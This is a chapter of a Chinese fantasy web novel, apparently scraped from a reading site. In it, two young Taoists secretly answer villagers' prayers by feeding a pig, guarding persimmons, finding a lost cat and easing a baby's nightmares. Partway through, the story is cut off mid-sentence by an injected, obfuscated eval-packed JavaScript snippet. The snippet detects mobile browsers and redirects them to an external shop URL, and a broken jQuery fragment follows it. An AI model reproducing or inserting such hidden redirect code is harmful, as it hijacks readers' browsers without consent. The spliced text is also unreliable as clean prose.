52.青岩山 四
    阳光灿烂,段星河挑了个上上大吉的好日子,在大门前放了一串鞭炮,庆祝逍遥观改建完成。一万响的鞭炮噼里啪啦地炸开来,小孩子们捂着耳朵挤成一堆,等浓烟散去便兴奋地又跳又叫。

    “住新房啦,住新房啦!”

    李玉真等人在一旁噼里啪啦地鼓掌,改建新房他们也出了力,特别有参与感。步云邪把寨子里的人都叫来了,族长还让人送了些美酒和鸡鸭作为贺礼。大家纷纷道:“恭喜、恭喜啊。”

    段星河拱手抱拳,向众人道谢,请大家进来喝茶。众人拿着香进了道观,准备拜神许愿。段星河和师娘走在后面,看着庄严肃穆的道场,心里十分喜悦。乔月柔道:“好孩子,多亏了你才能把道观修的这么好。”

    段星河道:“都是师娘在操心,我没做什么。”

    实现了人生的理想,段星河整个人都精神焕发,觉得自己这段时间在外面的罪没白受。

    大殿里已经挤满了人,檀香的烟气在空中缭绕着。步云邪在前面回过头来,招手道:“星哥,快点——”

    段星河微微一笑,快步跟了上去,融进了人群当中。

    青岩山的逍遥观重建了,万事俱备就差香火了。段星河专门下山去宣传,邀请附近的百姓来参观。赵大海刷上浆糊,哗地一下子把一张告示糊在了公告板上,道:“会有人来吗?”

    周围贴满了找狗、找猫,招长工短工的消息,他们一个硕大的告示贴在上面格外显眼。段星河自信道:“秋高气爽,正适合出游。咱们青岩山风景这么好,又有这么漂亮的道观,当然会有人来。”

    伏顺感觉他最近就没闲着,道:“大师兄,你也操太多心了吧,香客什么的不都随缘么?”

    段星河道:“酒香也怕巷子深。咱们改建了,人家不知道嘛。”

    三个人贴完了告示,买了点肉和蔬菜,驾着牛车回了山上。等了数日,镇上来的客人还是不多。步家寨子的人倒是常来烧香许愿,毕竟两边离得近,一抬腿就过来了。

    步云邪闲来无事,过来找段星河。他在路上遇见了小栓子,道:“看见大师兄了吗?”

    小栓子手里拿着个小风车,讷讷地说:“大师兄在正殿。”

    步云邪道:“在那儿干嘛?”

    小栓子道:“玩蚂蚁。”

    步云邪有些莫名其妙,不知道自闭也会传染。他来到了正殿,见大殿宽敞明亮,三清像的金身华美,崭新的帷幔垂下来,供桌上摆着新鲜的水果和鲜花,十分气派庄严。

    一名年轻妇人跪在蒲团上,手里拿着三炷香,低声说着自己的愿望。

    “我儿最近总是做噩梦,夜里啼哭不止,找郎中看了也不见效。求三清保佑我儿子好起来吧。”

    步云邪到处都没找到段星河,悄然从侧面经过,想去别处看看,忽然发现神像后坐着一个人。段星河躲在阴影里,手里拿着一根炭条,正在一个本子上写着什么东西。

    步云邪奇怪道:“你在这里干什么?”

    段星河吓了一跳,连忙道:“嘘——”

    香客们朝这边看过来,步云邪只好假装无事发生,抬手整理了一下旁边的帷幔。

    片刻没人注意这边了,段星河朝他招了招手,步云邪猫着腰过去了。两人藏在神像后面,身体被帷幔遮住了,不刻意找的话不会发现他们。

    步云邪小声道:“你这是干什么?”

    段星河窝成一团躲在这里,看起来跟自闭似的,难怪小栓子说他在正殿玩蚂蚁。

    步云邪凑过去看他本子,却见上头写着,步家寨刘家媳妇祈求孩子免做噩梦。

    步云邪满头问号,不知道他记这个干什么。这时候又有香客进来了,跪在蒲团上道:“我家的柿子就要成熟了,最近有好多喜鹊来啄果子。它们又不盯着一个吃,每个都啄一口,太气人了。求神仙保佑,收获之前别让鸟祸害了我的果子。”

    段星河偷偷往外看了一眼,认出了那个人是果园的步老三,在本子上记了下来,驱赶野鸟,保护步老三家的果子。

    步老三拜完了神,又掏出一块碎银子,放到了功德箱里,看来是真的担心他的收成。

    段星河是个尊重金钱的人,在他的名字后面又打了个星号,以示优先级。

    大殿里没人了,步云邪看着本子上一长串的愿望,低声道:“你该不会是想帮他们都实现了吧?”

    段星河背靠着神像,用炭条划掉了一些特别离谱的,剩下了一些能办到的,道:“神仙太忙了,咱们帮忙显个灵,也能挣点香火钱嘛。”

    步云邪道:“你是不是太闲了?”

    “就是闲的啊,”段星河悠然道,“反正是举手之劳,又不麻烦。”

    两人说着话,又有个大婶进来了,祈祷道:“我家的猪长得太慢了,对面家里都出栏好几头了,我们家也养不肥。我小儿子还等着钱交学费呢,求三清保佑我家猪长得又肥又壮。”

    步云邪忍不住笑了,当神仙也挺无奈的,每天都要听这么多奇怪的要求。李大婶好像听见了声音,探着头到处望了一圈,大殿里静悄悄的,除了她没有别人。李大婶有点害怕,又躬身拜了拜,倒退两步出了大殿,快步走了。

    李大婶自己就瘦的离谱,在寨子里以吝啬出名。她家的猪长不胖,可能就是饿的,多喂几顿就好了。

    片刻一个爷爷领着他的孙女过来,小女孩儿哭哭啼啼的,拖着个硕大的鼻涕泡。爷爷给她擦了擦脸,道:“把你的愿望跟神仙说一说,他会帮你的。”

    小女孩儿抽抽噎噎地说:“我的包丢了……求神仙帮我找回来。”

    段星河头上冒出了问号,道:“包,还是宝?”

    爷爷耐心道:“长什么样啊。”

    小女孩儿道:“黄色的,身上有斑纹,像一只小老虎,叫虎子,三岁了,公的。前天晚上我进屋吃饭,它在藤椅旁边睡觉。忽然外头有别的包叫了几声,它跑出去了,就没再回来。”

    段星河明白过来了,记道:“猫啊……橘猫三岁,叫虎子,前天丢的。”

    爷爷帮小孙女上了香,安慰道:“神仙听见了,会帮你找的,别哭了啊。”

    小孙女点了点头,又从口袋里掏出几块饴糖,双手捧着放在了供桌上,模样十分虔诚。爷爷笑了一下,牵着她的手走了。步云邪低声道:“能办到吗?”

    段星河道:“找猫应该不难吧。”

    青岩山这么大,步云邪觉得难说。他有点饿了,从供桌上拿了个大红苹果过来,从中掰成两半,递给段星河一块。两个人啃着苹果,一边寻思着怎么完成这些愿望。这时候外头有人进来了,步云邪连忙把苹果咽了下去。段星河还没嚼完,腮帮子鼓鼓囊囊的,坐着一动也不敢动。

    这时候就听一个姑娘说:“信女文氏今年十七岁,想找个踏实可靠的好夫婿。”

    步云邪喃喃道:“这个有难度,帮不了你。”

    那女孩道:“我看逍遥观的段师兄——”

    段星河吓了一跳,差点被苹果呛住,费了好半天劲才咽下去。那姑娘好像听见了声音,觉得有点奇怪。她东张西望了片刻,没再发现异样,继续道:“我看逍遥观的段师兄带回来的那个李道长就挺好的,模样俊秀,脾气又好,若是未来的夫婿能跟他一样就好了。”

    段星河松了口气,原来是看上李玉真了。小文姑娘有些羞怯,垂下眼道:“也不知道他修的是有情道还是无情道,要是能跟他说几句话就好了。”

    段星河记了下来,文家姑娘喜欢李玉真,想跟他说几句话。

    片刻女孩儿走了,两人等了一阵子,没再有人过来。天色渐渐晚了,段星河拿着小本子走出来,决定从简单的开始,道:“趁着天黑,先去喂猪吧。”

    步云邪的腿都蹲麻了,看他踌躇满志的,诧异道:“你还真去啊?”

    段星河道:“你一起来吗?”

    步云邪觉得太掉价了,皱眉道:“我堂堂步家寨子的祭司、族长的孙子、钦天监的六品司业,为什么要半夜偷摸去帮人喂猪?”

    段星河一副能屈能伸的态度,觉得没什么大不了的,道:“那好吧,我自己去了。”

    夜幕深沉,寨子里的灯火星星点点的。李大婶睡得早,家里已经没有光亮了。她家的大门是酸枣刺编的,平时拿铁钩子一别,也没人靠近。

    段星河拨弄了几下就把门撬开了,蹑手蹑脚地潜了进去。

    两人站在李家的牲口棚外,浓烈的牲口气息扑面而来。段星河道:“你不是不来么?”

    步云邪道:“我怕你偷吃啊。”

    两人各提着一个大桶,装着不少从厨房要来的泔水,里头有吃剩的粥、窝头、菜花梗、土豆、南瓜、菜叶子,都是猪爱吃的。厨房的大娘问他们要这么多湿垃圾干什么,段星河说要沤花肥,大娘就都给他了。

    段星河观察了一下猪食槽,发现里面都是一些糠皮、萝卜头、白菜根,光吃这个猪能长胖才怪呢。

    两人悄悄地把泔水倒进槽子里,几头猪一拥而上,哼哧哼哧地吃了起来。她家的猪太饿了,一会儿功夫就把食槽舔得干干净净。

    看猪吃得那么欢,还挺有成就感的。步云邪道:“就喂一顿也胖不起来吧?”

    段星河也有同感,道:“起码得再来喂个七八天吧。”

    两人提着桶,蹑手蹑脚地溜出去了。

    喂完了猪,段星河拿了两根竹竿,来到了步老三家的果园里。满树都是将要成熟的柿子,像小灯笼似的挂在枝头,已经有不少被鸟儿啄了。段星河从地上捡起了一个柿子,看着上面乱七八糟的洞,道:“这也太嚣张了吧。”

    一只灰喜鹊扑着翅膀飞过来,段星河举起竹竿挥了挥,低声道:“走开,不准来了。”

    喜鹊还不服气,根竹竿游斗了片刻,被轻轻敲了一下。它咔咔地叫了几声,转身飞走了。段星河在一棵树边坐下,双手搂着竹竿,打算在这里待一阵子。步云邪道:“你要守到什么时候?”

    段星河道:“坐一会儿呗,你困了吗?”

    步云邪倒是不困,就是觉得有点无聊。他道:“你不觉得这法子有点费劲儿吗?”

    段星河还挺想得开的,道:“这些喜鹊会传话的,赶几次它们就不来了。”

    他正说着话,忽然见面前啪地一下,一摊鸟屎落了下来。段星河抬头一望,见刚才那只灰喜鹊又飞了回来,身后还带了四五只同类。步云邪倒抽了一口气,道:“确实会传话,找咱们报复来了。”

    段星河连忙把外衣脱下来,捂住了头,把步云邪也兜了进去,道:“我的天,快想个办法!”

    步云邪跟他挤在一起,不慌不忙道:“你求我啊。”

    段星河道:“你有法子?”

    步云邪道:“你先求我再说,诚恳一点。”

    又有几摊鸟屎砸了下来,喜鹊得意地鸣叫着,仿佛在跟他们示威。段星河只好道:“步家寨子的祭司、族长的孙子、钦天监的六品司业、我最好的兄弟,求你了,赶紧把它们弄走!”

    步云邪笑了,将一点金光凝结在手上,口中念诵咒语。金光越聚越大,步云邪轻轻向上一抛,灵光倏然张开来,就像一个穹顶一样笼罩在果林的上方。

    喜鹊们想下去啄果子,撞到金光上却被弹了起来。它们顿时感到一阵灼热,羽毛的边缘被烧焦了。喜鹊们还没遇到过这种情况,十分惊慌,大声叫着逃走了。

    段星河抬头望着天空,居然忘了还有这个法子。他松了口气,道:“多谢你了。”

    两人又待了一会儿,没见鸟再飞回来。步云邪道:“回去休息吧,这金光天亮自己就消失了。”

    段星河捡起了竹竿,和他一起往回走去。夜色清凉,两人走在小路上,把干黄的落叶踩得沙沙作响。步云邪感觉时间过得飞快,好像才刚回来,秋天就已经到尾声了。

    他低声道:“星哥,咱们是不是快去那边了?”

    段星河嗯了一声,一想起另一个世界的凶险,便有些压抑。两人没再说什么,感受着此刻的安静,心里都有些惆怅。

    次日一早,天气十分晴朗。段星河精神抖擞地起了床,去隔壁找李玉真。李道长穿着一身浅青色的道袍,头上梳着道髻,别着一根白玉簪子,目光清澈,举止得体,端的是一派道骨仙风的模样,难怪招小姑娘喜欢。

    段星河跟他说了文家姑娘的愿望。李玉真一脸茫然,下意识双手护胸道:“什么意思,你要我出卖色相?”

    段星河低声道:“没那么严重,就是跟人家聊聊天,就当帮我个忙行不行?”

    李玉真迟疑道:“这不太好吧。”

    段星河笑道:“这么古板干什么,有人暗恋说明你长得帅,哪不好了?”

    李玉真成天跟在宋胡缨身后,她也不怎么理他,李玉真还以为自己特别招人厌呢。段星河说有女孩儿喜欢他,确实让他找回了一点自信。不过要让他跟不认识的姑娘打交道,他也十分为难。他道:“我有喜欢的人了,这算不算是脚踩两只船?”

    段星河觉得他属实多虑了,道:“你那八字还没一撇呢,放心吧,我帮你看住宋姑娘,一定不让她发现。”

    话说到这个份上,李玉真只好道:“我知道了,她在哪里?”

    段星河道:“她最近在帮她娘卖斗笠,脸上有几个小雀斑,你去寨子门口一看就能找到她。”

    李玉真寻思着自己要是借口买斗笠,跟她说几句话就行,也不是件难事。

    宋胡缨的门轻轻一动,小对眼先钻了出来。段星河和李玉真顿时闭了嘴,生怕被她听见了。宋胡缨觉得他俩鬼鬼祟祟的,道:“怎么了?”

    段星河道:“喔,寨子里有个小女孩的猫丢了,我想让小对眼帮忙找一下。”

    小对眼在这里待了三个月,跟附近的野猫都混熟了。宋胡缨把她儿子抱了起来,举到了段星河面前,道:“什么样的猫,你跟它说吧。”

    段星河比划道:“橘色的虎斑猫,三岁,公的叫虎子。大前天晚上跟着别的猫跑了,一直没回来,你能帮着找找吗?”

    小对眼一只眼看天一只眼看地,一副智慧的模样。冬天快到了,它灰色的毛蓬松松的,又长厚了。宋胡缨道:“明白了吗?”

    小对眼嗷地叫了一声,宋胡缨便把它放在地上,道:“去吧。”

    小对眼撒腿就跑,一会儿就没影了。段星河道:“它听懂了吗?”

    宋胡缨面无表情道:“不知道啊,随缘吧。”

    段星河就知道是这样,回头看了李玉真一眼,示意他别忘了答应自己的事。李玉真一脸不情愿地点了点头,表示知道了,不会忘的。

    安排完了这些,段星河去厨房拿了点吃的,在屋里歇了一阵子。大约申时过半,就听外头传来一声猫叫,小对眼在外面挠门。段星河过去一看,见小对眼蹲在门前,冲他嗷地叫了一声。

    段星河来了精神,道:“找到了吗?”

    小对眼扭过头跑了几步,示意他跟上来。步云邪带着墨墨从隔壁出来了,见小对眼撒腿跑了,道:“它找到了?”

    段星河提起了早就准备好的竹笼,道:“不知道,去看看。”

    两人追着小对眼出了逍遥观,来到了后山。就见一只虎斑猫蹲在一片草丛里,正在舔毛,旁边还有两只玳瑁色的猫咪。小对眼过去嗷了一声,那只橘猫喵喵叫了几声,声音嗲嗲的比小对眼好听多了。它没受伤,不知道这几天去哪儿疯了,也不回家,就是玩。

    步云邪现在相信这些动物之间是真的会传话了,这才撒出去半天就找到了。他摸了摸小对眼,夸奖道:“好孩子,多谢你啦。”

    小对眼挺自豪,用头蹭了蹭步云邪的腿。段星河从腰包里摸出了几块牛肉干,放在手心里,道:“虎子,过来。”

    橘猫听得懂自己的名字,缓步走了过来。段星河把牛肉干喂给它,另外两只玳瑁眼巴巴地望着这边,有点眼馋。段星河对所有的猫都一视同仁,又拿了几块牛肉干放在地上,道:“咪咪,来,我请客。”

    那两只玳瑁过来,迅速地把牛肉干叼走了。段星河摸了摸虎子的头,道:“你家人很担心你,跟我们回去吧。”

    虎子有些犹豫,回头看它的伙伴。那两只玳瑁有东西吃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732561|138533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就不讲兄弟义气了,没表示反对。段星河温声道:“走吧,过几天再出来玩。”

    他嘴上说的好听,下手一点也不含糊,趁橘猫不备揪住了它的后颈,迅速把它塞到了笼子里。橘猫奋力挣扎,挠得笼子噼里啪啦的,嗷嗷直叫。那两只玳瑁吓了一跳,转头逃走了。段星河安慰道:“别怕,一会儿就回家了。”

    他的气场有种让人镇定的力量,橘猫渐渐安静下来了。段星河提起了笼子,步云邪招了招手,墨墨和小对眼就自己跟上来了。片刻他们来到了那个小女孩儿的家,一家人正在屋里吃饭。段星河躲在大门外,悄悄打开竹笼,把橘猫放了出去。

    橘猫如同猛虎出闸,一个箭步冲进院子里,喵喵直叫。小女孩儿听见了声音,大声道:“虎子,虎子回来了!”

    她来到院子里,就见橘猫好端端地蹲在门前,好像从来没离开过一样。小女孩儿一把抱住了它,高兴得哭了起来,道:“呜呜呜,我的包回来了,太好了!”

    段星河完成了任务,掏出小本子打了个勾,满意道:“走吧。”

    天色渐渐黑了,段星河跟步云邪分头行动,一个去喂猪,另一个去保护柿子树。片刻两人在寨子后面碰了头,段星河把空泔水桶放在路边,道:“怎么样?”

    步云邪指了指远处半透明的灵力罩,道:“护住了,你知道这叫什么?”

    段星河道:“什么?”

    步云邪不满道:“杀鸡用牛刀,我这么大本事给你看果树。”

    他虽然抱怨,还是跟来帮忙。段星河笑了,抬手搂住了他肩膀,道:“就当锻炼身体了嘛,走——”

    步云邪道:“又干什么去?”

    段星河悠然道:“哄孩子睡觉。”

    夜深人静,两人来到了一户人家屋外,悄悄上了二楼,把窗户拨开一条缝。

    摇篮放在窗边,一个小小的婴儿躺在里头,闭着眼,片刻蹬着手脚,十分痛苦的模样。

    “哇哇——哇——”

    婴儿哭了起来,因为长期睡不好,声音都十分孱弱。

    段星河能看到一股黑色的气萦绕着那孩子,这家房子建在寨子的低洼处,有些聚阴,难怪婴儿总是夜惊。

    段星河低声道:“瓜皮,看你的了。”

    墨墨已经嗅到了噩梦的味道,迫不及待地飞了起来。它仰起头,深深吸了一口气,只见一道黑气从婴儿周身浮了起来,被墨墨吞进了肚子里。片刻它长舒了一口气,好像吃饱了,又吐出了一道晶莹的白气,温柔地裹住了那个婴儿。

    婴儿渐渐感到了一阵舒适,小脸变得舒展安宁了。步云邪在屋子周围转了一圈,找到了阴气的源头,是一些混沌的意识,像一团乱麻一样聚在一个湿漉漉的泥沟里。步云邪凝神写了一道驱邪的符咒,向前一推,金色的符文融入了洼地里,驱散了那些污浊的灵体。

    段星河治的是标,步云邪治的才是本。他虽然嘴上说的冷淡,其实心地还是很温柔的。总算忙活完了,段星河捡回了他的泔水桶,站在路边长长地舒了口气。

    步云邪道:“累么?”

    段星河笑了,道:“有点,你更累吧。”

    步云邪道:“是啊,我还以为你不知道呢。”

    前头有块大石头,两人擦去尘土坐在上面,半天没说话。头顶的星子明亮,天已经开始凉了,步云邪穿的有点少,鼻尖冻红了。段星河默默地坐得离他近了一点,帮他挡住了一半夜风,体温透过薄薄的衣裳传了过去。步云邪感觉他这几天好像要把一辈子的事都干完似的,道:“你为什么要这样啊?”

    段星河道:“怎么了?”

    “别装傻,”步云邪道,“一天到晚忙成这样,青岩山没了你还能过不下去么?”

    段星河确实有心事,而且不想说。他沉默的样子也挺好看的,就是有点气人。步云邪发现只要不追问,这家伙就没下文了。他道:“这些天我给你帮了这么多忙,你怎么想的都不告诉我?”

    段星河叹了口气,道:“我得去天外天找小师妹,这一走不知道还能不能回来。师父已经不在了,师娘一个人带那么多孩子不容易。我趁现在都安排好了,给观里多招点香火,万一我死了,也不用担心师娘他们活不下去了。”

    他的神色淡淡的,说的话却让人很不好受。步云邪有些动容,道:“别这么想,咱们肯定能好好回来的,师娘也希望你好好的。”

    段星河看着他,说出了想了很久的话。

    “你是独生子,要不然你留下吧,以后寨子里和观里的事总能有个人管。”

    步云邪皱起了眉头,那边那么危险,自己不去岂能放心。他道:“我要跟你去,咱们从小就在一起,什么时候分开过?”

    段星河道:“有李兄和宋姑娘,我们能应付的了的。”

    步云邪有些生气了,觉得他把自己当成了外人,道:“你去哪儿,我就去哪儿,凭什么带别人不带我?”

    段星河道:“可是……如果咱们都回不来了,家里人怎么办?”

    步云邪沉默了片刻,轻声道:“那我也不留下,寨子里有那么多人呢,总有能指望的。”

    段星河还想说什么,步云邪背过身去道:“你别跟我说这个了,好端端的晦气。”

    “好好好,”段星河笑了,站起来伸了个懒腰,“就当我没说,别放在心上。”

    两人说着话,去星垂殿歇了。次日一早,段星河从寨子门口经过,见李玉真正在跟文家的姑娘说话,眼睛顿时一亮。

    经过了一天的心理斗争,李玉真终于行动了。段星河站在一棵凤凰树后面,悄悄地看着那边。女孩儿在路边摆了个摊子,想吸引外来的香客,挣点零花钱。李玉真拿起一个斗笠,道:“这个怎么卖的?”

    小文姑娘没想到刚许了愿,暗恋的人就来跟自己搭话了。她十分高兴,又有些紧张,小声道:“三十文一个,那个……你是远道而来的客人,喜欢的话就送给你。”

    李玉真还想跟她讲讲价,没想到对方这么热情。他道:“那不行,我给你钱。”

    他付了三十文,把斗笠拿在手里,寻思着说两句话就走了,好像有点敷衍。他道:“这是你编的吗?”

    文姑娘道:“我和我娘编的。”

    李玉真诚心夸道:“手艺真好,我就笨手笨脚的,做不来这些细致活儿。”

    文姑娘的脸颊微红,从旁边拿了个竹条编的小蝈蝈,道:“那这个送给你好了。”

    那蝈蝈编的活灵活现的,李玉真寻思着小对眼应该挺喜欢的,微微一笑道:“好,多谢你了。”

    他站了起来,文姑娘看他要走了,出声道:“李道长——”

    李玉真停下来,道:“怎么啦?”

    文姑娘鼓起勇气道:“我也想修道,不知道你修的是有情道,还是无情道?”

    李玉真怔了一下,没想到她这么直接。他爹倒是天天让他早点相个好姑娘成家立业,但他不想惹麻烦,还是扯了个谎,道:“我……修的是无情道,师父不让谈情说爱的。”

    女孩儿露出了失望的表情,李玉真有点内疚感,又不知道该说什么好。她想了想,又道:“那李道长会看相吗,能帮我看看前程吗?”

    她伸出了手,掌心长着些茧子,是个勤快人。李玉真端详了一下,真诚道:“你的生命线很长,身体健康,感情运也很好。将来会找到一个疼爱你的好夫婿。”

    小文姑娘能跟他说几句话就已经很满足了,也不敢妄想太多。她有些不好意思,又有点惆怅,道:“谢谢,祝你修行顺利。”

    李玉真道:“姑娘心灵手巧,日子一定会越过越好的。”

    他拿起了斗笠,缓步离开了。段星河掏出他的小本子打了个勾,愉快道:“香火加一。”

    李玉真完成了任务,一身轻松。他往前走了几步,忽然见宋胡缨站在前方不远处,正静静地看着这边。李玉真一瞬间有些心虚,不知道她有没有看见自己跟别的女孩聊天,也不知道她心里是怎么想的。

    段星河远远地看见了那边的情形,心里也咯噔一下子,暗道:“哦豁,不妙。”